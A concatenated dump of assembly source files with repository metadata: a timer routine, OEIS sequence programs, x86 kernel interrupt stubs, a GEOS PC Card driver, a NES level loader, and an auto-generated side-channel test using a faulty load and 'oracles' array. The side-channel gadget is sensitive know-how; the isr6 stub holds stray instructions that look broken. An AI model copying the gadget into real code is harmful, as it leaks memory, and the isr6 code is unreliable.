push 0xb800
pop es
mov di, 0
inc word [nyanTimeBin]
mov bx, nyanTimeStringLen*2
.loop:
sub bx, 2
mov al, [es:nyanTimeVideoStart+bx]
cmp al, '0'
jb .next
cmp al, '9'
ja .next
inc al
mov [es:nyanTimeVideoStart+bx], al
cmp al, '9'+1
jne .end
mov al, '0'
mov [es:nyanTimeVideoStart+bx], al
.next:
cmp bx, 0
jne .loop
.end:
pop es
ret
| 13.533333 | 55 | 0.642036 |
f4bcc46de58534f50ea360a28a3165dddf04c857 | 529 | asm | Assembly | oeis/327/A327649.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/327/A327649.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/327/A327649.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A327649: Maximum value of powers of 2 mod n.
; Submitted by Jamie Morken(w3)
; 0,1,2,2,4,4,4,4,8,8,10,8,12,8,8,8,16,16,18,16,16,20,18,16,24,24,26,16,28,16,16,16,32,32,32,32,36,36,32,32,40,32,42,40,38,36,42,32,46,48,32,48,52,52,52,32,56,56,58,32,60,32,32,32,64,64,66,64,64,64,64,64,64,72,68,72,74,64,76,64,80,80,82,64,64,84,82,80,78,76,74,72,70,84,88,64,96,92,98,96
add $0,1
mov $2,1
mov $3,$0
mov $4,$0
mov $5,1
lpb $3
mul $5,$2
mov $2,2
mov $6,$0
cmp $6,1
cmp $6,0
sub $3,$6
mod $5,$4
max $1,$5
lpe
mov $0,$1
| 25.190476 | 287 | 0.606805 |
ad87fbe7166f40ddc72f64ba4079863548b470f0 | 6,173 | asm | Assembly | src/kernel/cpu_86/interrupt.asm | Dudejoe870/FunOS | cea55e90505b6ff8e75313ca54e46c0ad645180c | [
"Unlicense"
] | 2 | 2022-01-15T14:29:56.000Z | 2022-01-15T22:52:23.000Z | src/kernel/cpu_86/interrupt.asm | Dudejoe870/FunOS | cea55e90505b6ff8e75313ca54e46c0ad645180c | [
"Unlicense"
] | null | null | null | src/kernel/cpu_86/interrupt.asm | Dudejoe870/FunOS | cea55e90505b6ff8e75313ca54e46c0ad645180c | [
"Unlicense"
] | null | null | null | ; Credit to: https://github.com/cfenollosa/os-tutorial/blob/master/18-interrupts/cpu/interrupt.asm
[bits 32]
; Defined in isr.c
[extern isr_handler]
[extern irq_handler]
[extern syscall_handler]
; Common ISR code
isr_common_stub:
pusha ; Pushes edi, esi, ebp, esp, ebx, edx, ecx, eax.
mov ax, ds
push eax ; Save the data segment descriptor.
mov ax, 0x10 ; Kernel Data segment descriptor.
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
push esp ; Pass in the stack as a struct pointer.
call isr_handler ; Call the handler written in C.
pop eax
; Restore the previous state.
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
popa
add esp, 8 ; Essentially deletes the pushed Error Code and Interrupt Number from the stack.
sti
iret ; Pops cs, eip, eflags, ss, and esp.
; Common IRQ code
irq_common_stub:
pusha
mov ax, ds
push eax
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
push esp
cld
call irq_handler
pop eax
pop ebx
mov ds, bx
mov es, bx
mov fs, bx
mov gs, bx
popa
add esp, 8
sti
iret
; Common Syscall code
syscall_common_stub:
pusha
mov ax, ds
push eax
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
push esp
call syscall_handler
mov [syscall_retvalue_tmp], eax ; Save the return value of the Syscall function.
pop eax
pop eax
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
popa
add esp, 8
mov eax, [syscall_retvalue_tmp] ; Restore the return value of the Syscall.
sti
iret
syscall_retvalue_tmp dd 0
global isr0
global isr1
global isr2
global isr3
global isr4
global isr5
global isr6
global isr7
global isr8
global isr9
global isr10
global isr11
global isr12
global isr13
global isr14
global isr15
global isr16
global isr17
global isr18
global isr19
global isr20
global isr21
global isr22
global isr23
global isr24
global isr25
global isr26
global isr27
global isr28
global isr29
global isr30
global isr31
global irq0
global irq1
global irq2
global irq3
global irq4
global irq5
global irq6
global irq7
global irq8
global irq9
global irq10
global irq11
global irq12
global irq13
global irq14
global irq15
global syscall128
; ISRs
; 0: Divide By Zero Exception
isr0: ; Pushes cs, eip, eflags, ss, and esp.
cli
push 0 ; Null Error Code
push 0 ; Interrupt Number
jmp isr_common_stub
; 1: Debug Exception
isr1:
cli
push 0
push 1
jmp isr_common_stub
; 2: Non Maskable Interrupt Exception
isr2:
cli
push 0
push 2
jmp isr_common_stub
; 3: Int 3 Exception
isr3:
cli
push 0
push 3
jmp isr_common_stub
; 4: INTO Exception
isr4:
cli
push 0
push 4
jmp isr_common_stub
; 5: Out of Bounds Exception
isr5:
cli
push 0
push 5
jmp isr_common_stub
; 6: Invalid Opcode Exception
isr6: push eax
mov eax, ebx
cli
push 0
push 6
jmp isr_common_stub
; 7: Coprocessor Not Available Exception
isr7:
cli
push 0
push 7
jmp isr_common_stub
; 8: Double Fault Exception (Pushes Error Code)
isr8:
cli
push 8
jmp isr_common_stub
; 9: Coprocessor Segment Overrun Exception
isr9:
cli
push 0
push 9
jmp isr_common_stub
; 10: Bad TSS Exception (Pushes Error Code)
isr10:
cli
push 10
jmp isr_common_stub
; 11: Segment Not Present Exception (Pushes Error Code)
isr11:
cli
push 11
jmp isr_common_stub
; 12: Stack Fault Exception (Pushes Error Code)
isr12:
cli
push 12
jmp isr_common_stub
; 13: General Protection Fault Exception (Pushes Error Code)
isr13:
cli
push 13
jmp isr_common_stub
; 14: Page Fault Exception (Pushes Error Code)
isr14:
cli
push 14
jmp isr_common_stub
; 15: Reserved Exception
isr15:
cli
push 0
push 15
jmp isr_common_stub
; 16: Floating Point Exception
isr16:
cli
push 0
push 16
jmp isr_common_stub
; 17: Alignment Check Exception
isr17:
cli
push 0
push 17
jmp isr_common_stub
; 18: Machine Check Exception
isr18:
cli
push 0
push 18
jmp isr_common_stub
; 19: Reserved
isr19:
cli
push 0
push 19
jmp isr_common_stub
; 20: Reserved
isr20:
cli
push 0
push 20
jmp isr_common_stub
; 21: Reserved
isr21:
cli
push 0
push 21
jmp isr_common_stub
; 22: Reserved
isr22:
cli
push 0
push 22
jmp isr_common_stub
; 23: Reserved
isr23:
cli
push 0
push 23
jmp isr_common_stub
; 24: Reserved
isr24:
cli
push 0
push 24
jmp isr_common_stub
; 25: Reserved
isr25:
cli
push 0
push 25
jmp isr_common_stub
; 26: Reserved
isr26:
cli
push 0
push 26
jmp isr_common_stub
; 27: Reserved
isr27:
cli
push 0
push 27
jmp isr_common_stub
; 28: Reserved
isr28:
cli
push 0
push 28
jmp isr_common_stub
; 29: Reserved
isr29:
cli
push 0
push 29
jmp isr_common_stub
; 30: Reserved
isr30:
cli
push 0
push 30
jmp isr_common_stub
; 31: Reserved
isr31:
cli
push 0
push 31
jmp isr_common_stub
; IRQs
irq0:
cli
push 0
push 32
jmp irq_common_stub
irq1:
cli
push 1
push 33
jmp irq_common_stub
irq2:
cli
push 2
push 34
jmp irq_common_stub
irq3:
cli
push 3
push 35
jmp irq_common_stub
irq4:
cli
push 4
push 36
jmp irq_common_stub
irq5:
cli
push 5
push 37
jmp irq_common_stub
irq6:
cli
push 6
push 38
jmp irq_common_stub
irq7:
cli
push 7
push 39
jmp irq_common_stub
irq8:
cli
push 8
push 40
jmp irq_common_stub
irq9:
cli
push 9
push 41
jmp irq_common_stub
irq10:
cli
push 10
push 42
jmp irq_common_stub
irq11:
cli
push 11
push 43
jmp irq_common_stub
irq12:
cli
push 12
push 44
jmp irq_common_stub
irq13:
cli
push 13
push 45
jmp irq_common_stub
irq14:
cli
push 14
push 46
jmp irq_common_stub
irq15:
cli
push 15
push 47
jmp irq_common_stub
; Interrupt 128 is for syscalls (like Linux)
syscall128:
cli
push 0
push 128
jmp syscall_common_stub | 13.190171 | 98 | 0.667261 |
42d5fa1fbded4c4f11c5c0234388b13b0b2b9c50 | 308 | asm | Assembly | programs/oeis/333/A333461.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/333/A333461.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/333/A333461.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A333461: a(n) = gcd(2*n, binomial(2*n,n))/2.
; 1,1,1,1,1,6,1,1,1,2,1,2,1,2,15,1,1,6,1,10,3,2,1,6,1,2,1,28,1,2,1,1,3,2,7,2,1,2,1,10,1,42,1,4,45,2,1,6,1,2,3,4,1,6,1,4,3,2,1,12,1,2,3,1,5,66,1,2,3,10,1,18,1,2,15,4,77,6,1,10,1,2,1,28,5,2,3,44,1,10,91,4,1,2,5,6,1,2,33,20
add $0,1
sub $2,$0
bin $2,$0
gcd $0,$2
| 38.5 | 220 | 0.535714 |
e3b3a6eae51099a22948cf2e27376bfbc46321ba | 5,135 | asm | Assembly | Driver/IFS/GEOS/PGFS/pgfsCardServices.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/IFS/GEOS/PGFS/pgfsCardServices.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/IFS/GEOS/PGFS/pgfsCardServices.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1994 -- All Rights Reserved
PROJECT:
MODULE:
FILE: pgfsCardServices.asm
AUTHOR: Adam de Boor, Sep 29, 1993
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 9/29/93 Initial revision
DESCRIPTION:
Interface to Card Services
$Id: pgfsCardServices.asm,v 1.1 97/04/18 11:46:38 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
Resident segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PGFSCardServicesCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback routine for Card Services events
CALLED BY: Card Services
PASS: al -> function
cx -> socket
dx -> info
di -> 1st word in RegisterClient
ds -> dgroup (2nd word in RegisterClient)
si -> 3rd word in RegisterClient
ss:bp -> MTDRequest
es:bx -> buffer
bx -> Misc (when no buffer returned)
RETURN: ax <- status to return
carry set on error,
carry clear on success.
DESTROYED: nothing
SIDE EFFECTS:
None
PSEUDO CODE/STRATEGY:
Notify registered client.
See if a thread is spawned.
REVISION HISTORY:
Name Date Description
---- ---- -----------
TS 7/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PGFSCardServicesCallback proc far
uses cx, dx
.enter
cmp al, CSEC_CARD_INSERTION
je doInsertion
cmp al, CSEC_REGISTRATION_COMPLETE
jne handleEvent
mov ds:[amRegistered], TRUE
jmp success
handleEvent:
mov di, ax
andnf di, 0xff
shl di
cmp di, endEventRoutineTable - eventRoutineTable
ja unsupported
jmp cs:[eventRoutineTable][di-2]
;--------------------
doExclusiveReq:
;
; only allow exclusive if filesystem(s) not in-use
;
push bx
call PGFSUCheckInUse
pop bx
jnc success
mov ax, CSRC_IN_USE
jmp done
;--------------------
doInsertion:
call PGFSIHandleInsertion
jmp success
;--------------------
doRemoval:
call PGFSRHandleRemoval
jmp success
;--------------------
doInfo:
test es:[bx].CSGCIA_attributes, mask CSGCIAA_INFO_SUBFUNCTION
jnz unsupported ; only handle function 0
mov cx, cs:[clientInfo].CSGCIA_infoLen
cmp cx, es:[bx].CSGCIA_maxLen
jbe copyInfo
mov cx, es:[bx].CSGCIA_maxLen
copyInfo:
segmov ds, cs
mov si, offset clientInfo.CSGCIA_infoLen
lea di, es:[bx].CSGCIA_infoLen
sub cx, offset CSGCIA_infoLen ; not copying stuff up to here
rep movsb
jmp success
;--------------------
unsupported:
mov ax, CSRC_UNSUPPORTED_FUNCTION
stc
jmp done
;--------------------
doIgnore:
success:
mov ax, CSRC_SUCCESS
clc
done:
.leave
ret
clientInfo CSGetClientInfoArgs <
0, ; CSGCIA_maxLen
size clientInfo,
mask CSGCIAA_EXCLUSIVE_CARDS or \
mask CSGCIAA_SHARABLE_CARDS or \
mask CSGCIAA_MEMORY_CLIENT_DEVICE_DRIVER,
< ; CSGCIA_clientInfo
0100h, ; CSCI_revision
0201h, ; CSCI_csLevel
<
29, ; CSDI_YEAR
9, ; CSDI_MONTH
22 ; CSDI_DAY
>, ; CSCI_revDate
clientInfoName - clientInfo, ; CSCI_nameOffset
length clientInfoName, ; CSCI_nameLength
vendorString - clientInfo, ; CSCI_vStringOffset
length vendorString ; CSCI_vStringLength
>
>
org clientInfo.CSGCIA_clientInfo.CSCI_data
clientInfoName char "GEOS File System Driver", 0
vendorString char "Geoworks", 0
DefCSEvent macro event, handler
.assert ($-eventRoutineTable)/2 eq (event-1)
nptr.near handler
endm
eventRoutineTable label nptr
DefCSEvent CSEC_PM_BATTERY_DEAD, doIgnore ; Battery Dead
DefCSEvent CSEC_PM_BATTERY_LOW, doIgnore ; Battery Low
DefCSEvent CSEC_CARD_LOCK, doIgnore ; Card Locked
DefCSEvent CSEC_CARD_READY, doIgnore ; Card Ready
DefCSEvent CSEC_CARD_REMOVAL, doRemoval ; Card Removal
DefCSEvent CSEC_CARD_UNLOCK, doIgnore ; Card Unlocked
DefCSEvent CSEC_EJECTION_COMPLETE, doIgnore ; Ejection Complete
DefCSEvent CSEC_EJECTION_REQUEST, doIgnore ; Ejection Request
DefCSEvent CSEC_INSERTION_COMPLETE,doIgnore ; Insertion Complete
DefCSEvent CSEC_INSERTION_REQUEST, doIgnore ; Insertion Request
DefCSEvent CSEC_PM_RESUME, doIgnore ; Power Manager Resume
DefCSEvent CSEC_PM_SUSPEND, doIgnore ; Power Manager Suspend
DefCSEvent CSEC_EXCLUSIVE_COMPLETE,doIgnore ; Exclusive Complete
DefCSEvent CSEC_EXCLUSIVE_REQUEST, doExclusiveReq ; Exclusive Request
DefCSEvent CSEC_RESET_PHYSICAL, doIgnore ; Reset Physical
DefCSEvent CSEC_RESET_REQUEST, doIgnore ; Reset Request
DefCSEvent CSEC_CARD_RESET, doIgnore ; Card Reset
DefCSEvent CSEC_MTD_REQUEST, unsupported ; MTD Request
DefCSEvent CSEC_RESERVED_1, unsupported ; UNDEFINED
DefCSEvent CSEC_CLIENT_INFO, doInfo ; Get Client Info
DefCSEvent CSEC_TIMER_EXPIRED, doIgnore ; Timer Expired
DefCSEvent CSEC_SS_UPDATED, doIgnore ; SS Updated
endEventRoutineTable label nptr
PGFSCardServicesCallback endp
Resident ends
| 25.295567 | 79 | 0.661928 |
cdeca99cbb865826ce6aa959c588005815e72177 | 657 | asm | Assembly | oeis/004/A004686.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/004/A004686.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/004/A004686.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A004686: Fibonacci numbers written in base 3.
; 0,1,1,2,10,12,22,111,210,1021,2001,10022,12100,22122,111222,211121,1100120,2012011,10112201,12201212,100021120,120000102,220021222,1110022101,2100121100,10210220201,20011112001,100222102202,121010221210,222010101112,1120021100022,2112101201211,11002200002010,20122001210221,101201201220001,122100210200222,1001002112121000,1200110100021222,2201112212212222,11102000020011221,21010120010001220,102112120100020211,200200010110022201,1010012200210120112,1210212211020220020,2221002112001110202
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
seq $0,7089 ; Numbers in base 3.
| 109.5 | 492 | 0.832572 |
d83e411d07f54fec5083011c3b37c105b1b61008 | 621 | asm | Assembly | oeis/241/A241572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/241/A241572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/241/A241572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A241572: Numbers n such that 2*n+17 is not a prime.
; Submitted by Jamie Morken(s1.)
; 2,4,5,8,9,11,14,16,17,19,20,23,24,26,29,30,32,34,35,37,38,39,41,44,47,49,50,51,52,53,54,56,58,59,62,63,64,65,68,69,71,72,74,76,77,79,80,83,84,85,86,89,92,93,94,95,96,98,99,100,101,102,104,107,109,110,113,114,115,116,118,119,121,122,124,125,128,129,131,134,135,136,137,139,140,141,142,143,144,146,149,151,152,153,154,155,156,158,159,161
add $0,3
mov $1,4
mov $2,1
lpb $0
mov $3,$2
lpb $3
add $2,2
mov $4,$1
gcd $4,$2
cmp $4,1
sub $3,$4
lpe
sub $0,1
add $2,2
mul $1,$2
lpe
mov $0,$2
div $0,2
sub $0,8
| 25.875 | 337 | 0.623188 |
994d1ed6c7dabe088307c99af98361c141ad5e8b | 5,858 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1482.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1482.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xa0_notsx.log_21829_1482.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x16372, %r10
nop
inc %rdi
movl $0x61626364, (%r10)
nop
nop
nop
xor %rdx, %rdx
lea addresses_normal_ht+0x1cc82, %r15
nop
nop
nop
add $18988, %rcx
movb (%r15), %r12b
nop
nop
nop
xor $48155, %rdx
lea addresses_UC_ht+0x1790a, %rdi
nop
nop
nop
cmp $13993, %rax
mov (%rdi), %rdx
nop
nop
nop
nop
xor %r12, %r12
lea addresses_normal_ht+0x1b8ee, %rax
nop
nop
nop
nop
nop
dec %r15
movl $0x61626364, (%rax)
nop
nop
nop
nop
and $10972, %rcx
lea addresses_WT_ht+0xcb72, %rax
nop
nop
nop
nop
nop
add %r10, %r10
movb $0x61, (%rax)
nop
nop
inc %rax
lea addresses_A_ht+0xd372, %rsi
lea addresses_WC_ht+0x139f2, %rdi
sub $26444, %rax
mov $75, %rcx
rep movsl
nop
nop
nop
nop
nop
inc %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %rbp
push %rbx
push %rcx
push %rdx
// Store
lea addresses_RW+0x1245a, %r11
nop
xor $9477, %rbp
movb $0x51, (%r11)
add $62725, %rbp
// Store
lea addresses_D+0x188f2, %r15
nop
nop
nop
nop
cmp $5765, %rbx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm2
movups %xmm2, (%r15)
nop
nop
nop
xor %rdx, %rdx
// Faulty Load
lea addresses_D+0x1b772, %rdx
nop
nop
nop
nop
nop
sub %rbp, %rbp
mov (%rdx), %r15d
lea oracles, %r11
and $0xff, %r15
shlq $12, %r15
mov (%r11,%r15,1), %r15
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}}
[Faulty Load]
{'src': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 1, 'NT': True, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 37.312102 | 2,999 | 0.658416 |
96daf608405dc061a65eaede88b6e4256701e378 | 9,885 | asm | Assembly | level.asm | NotExactlySiev/psychofloat | 4e6ee147e688d43c182f683f760e7a4a03620517 | [
"CC0-1.0"
] | 1 | 2021-07-06T17:41:36.000Z | 2021-07-06T17:41:36.000Z | level.asm | NotExactlySiev/psychofloat | 4e6ee147e688d43c182f683f760e7a4a03620517 | [
"CC0-1.0"
] | null | null | null | level.asm | NotExactlySiev/psychofloat | 4e6ee147e688d43c182f683f760e7a4a03620517 | [
"CC0-1.0"
] | null | null | null | FindLevel: subroutine ; find lvlptr for lvl at func0
ldy #0
ldx func0
txa
sec
sbc lvl
bpl .seekforward
; if we're past the level, reset to level 0 and start the search
lda #0
sta lvlptr
lda #LEVEL_HEAD
sta lvlptr+1
txa
.seekforward
; otherwise only go forward by (target level - current level)
tax
.nextlevel
beq .out
lda (lvlptr),y
and #$3f
clc
adc #3
clc
adc lvlptr
sta lvlptr
lda lvlptr+1
adc #0
sta lvlptr+1
dex
jmp .nextlevel
.out
lda func0
sta lvl
rts
ClearLevel: subroutine
lda #$20
sta PPU_ADDR
lda #0
sta PPU_ADDR
ldx #$ff
.loop
ldy #12
.innerloop
sta PPU_DATA
dey
bne .innerloop
dex
bne .loop
ldx #$20
.clearzp
sta $0,x
inx
bne .clearzp
ldx #$ff
stx hookidx
inx
stx PPU_ADDR
sta PPU_ADDR
rts
LoadLevel: subroutine ; load level data and metadata from level pointer
ldy #0
lda (lvlptr),y
lsr
lsr
ora (lvlptr),y
and #$f0
sta scroll
lda (lvlptr),y
and #$3f
tax
inx
stx lvlsize
iny
lda (lvlptr),y
and #$1f
asl
asl
asl
sta px0
lda (lvlptr),y
and #$e0
sta py0
ldy lvlsize
iny
ldx lvlsize
dex
.copy lda (lvlptr),y
sta lvldat,x
dey
dex
bpl .copy
lda #-1
sta blknum
rts
RenderLevel: subroutine ; draw the background parts of the level, load the collision
; and object (sprite) data into appropriate tables
; first we draw the elements common among all levels
ldx #59
stx func2
ldx #2
stx func3
dex
stx func4
dex
stx func0
stx func1
stx func5
jsr DrawWall
ldx #29
stx func1
asl func4
jsr DrawWall
ldy #0
NextItem:
cpy lvlsize
bcc .nend
rts
.nend
lda lvldat,y ; special cases that set the variables on their own
and #$e0
tax
bne .nFIL
jsr DrawFill
jmp NextItem
.nFIL
cmp #$20
bne .nBLK
